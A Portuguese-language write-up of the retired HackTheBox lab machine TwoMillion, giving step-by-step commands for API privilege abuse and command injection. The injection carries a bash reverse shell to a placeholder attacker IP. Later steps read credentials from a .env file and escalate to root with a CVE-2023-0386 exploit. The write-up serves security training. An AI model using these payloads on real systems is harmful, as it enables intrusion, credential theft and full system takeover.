HTB-TwoMillion-Writeup

Writeup da máquina TwoMillion do HackTheBox — abuso de API, injeção de comandos & CVE-2023-0386

HackTheBox — TwoMillion Writeup

HackTheBox — TwoMillion Writeup

Informações da Máquina

Resumo

TwoMillion é uma máquina Linux de dificuldade Fácil com tema baseado na antiga plataforma HackTheBox. Envolve decodificar um código de convite, abusar de endpoints da API, injeção de comandos no sistema operacional, descoberta de credenciais e uma escalada de privilégio no kernel Linux por meio do CVE-2023-0386 (OverlayFS).

Enumeração

Nmap

nmap -sV -sC -v 10.10.11.221

Portas Abertas:

• 22 — OpenSSH 8.9p1
• 80 — HTTP nginx → redireciona para 2million.htb

Adicione ao /etc/hosts:

echo "10.10.11.221 2million.htb" >> /etc/hosts

Passo 1 — Código de Convite

curl -X POST http://2million.htb/api/v1/invite/how/to/generate

A resposta é codificada em ROT13. Decodifique-a:

echo "Va beqre gb trarengr..." | tr 'A-Za-z' 'N-ZA-Mn-za-m'

Gere o código de convite:

curl -X POST http://2million.htb/api/v1/invite/generate
echo "BASE64==" | base64 -d

Registre-se em http://2million.htb/register usando o código de convite decodificado.

Passo 2 — Abuso de API → Admin

Entre pelo navegador e capture o PHPSESSID dos cookies (F12 → Application → Cookies).

Escale para admin:

curl -X PUT http://2million.htb/api/v1/admin/settings/update \
  -b "PHPSESSID=<your_session>" \
  -H "Content-Type: application/json" \
  --data '{"email":"[email protected]","is_admin":1}'

Verifique:

curl -b "PHPSESSID=<your_session>" http://2million.htb/api/v1/admin/auth
# {"message":true}

Passo 3 — Injeção de Comandos → Reverse Shell

Inicie o listener:

nc -lvnp 4444

Envie o payload de reverse shell:

curl -s -X POST http://2million.htb/api/v1/admin/vpn/generate \
  -b "PHPSESSID=<your_session>" \
  -H "Content-Type: application/json" \
  --data '{"username":"test;bash -c '"'"'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"'"' #"}'

Shell recebido como www-data.

Passo 4 — Flag de Usuário

Encontre as credenciais no .env:

cat /var/www/html/.env
# DB_USERNAME=admin
# DB_PASSWORD=SuperDuperPass123

Conecte via SSH:

ssh [email protected]
cat ~/user.txt

Passo 5 — Flag de Root (CVE-2023-0386)

Verifique a dica:

cat /var/mail/admin
uname -r
# 5.15.70 — vulnerable to CVE-2023-0386

Baixe e compile o exploit no Kali:

git clone https://github.com/xkaneiki/CVE-2023-0386
cd CVE-2023-0386
make all

Transfira para o alvo:

# Kali
python3 -m http.server 8000

# Target
wget http://YOUR_IP:8000/exploit.zip
unzip exploit.zip
make all

Execute em dois terminais no alvo:

Terminal 1:

./fuse ./ovlcap/lower ./gc

Terminal 2:

./exp

Obtenha a flag de root:

cat /root/root.txt

Cadeia de Ataque

Ferramentas Utilizadas

• Nmap
• curl
• Netcat
• CVE-2023-0386 PoC

Este writeup é apenas para fins educacionais em uma máquina aposentada do HackTheBox.